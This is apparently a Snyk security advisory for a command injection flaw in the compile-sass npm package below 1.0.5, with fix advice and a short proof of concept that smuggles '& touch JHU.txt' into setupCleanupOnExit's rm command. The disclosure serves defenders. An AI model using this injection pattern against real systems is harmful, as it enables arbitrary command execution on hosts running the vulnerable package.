Command Injection Affecting compile-sass package, versions <1.0.5


0.0
high

Snyk CVSS

    Exploit Maturity Proof of concept
    Attack Complexity Low
    Confidentiality High
Expand this section
NVD
8.2 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-COMPILESASS-551804
  • published 21 Feb 2020
  • disclosed 21 Feb 2020
  • credit JHU System Security Lab

How to fix?

Upgrade compile-sass to version 1.0.5 or higher.

Overview

compile-sass is a module to compile SASS on-the-fly and/or save it to CSS files.

Affected versions of this package are vulnerable to Command Injection. The function setupCleanupOnExit(cssPath) within dist/index.js is executed as part of the rm command without any sanitization.

PoC by JHU System Security Lab

function sleep(millis) {
    return new Promise(resolve => setTimeout(resolve, millis));
}
async function main(){
    var a = require('compile-sass');
    a.setupCleanupOnExit('& touch JHU.txt');
    console.log('Press Ctrl-C in 3 seconds...')
    await sleep(3000);
}
main();

References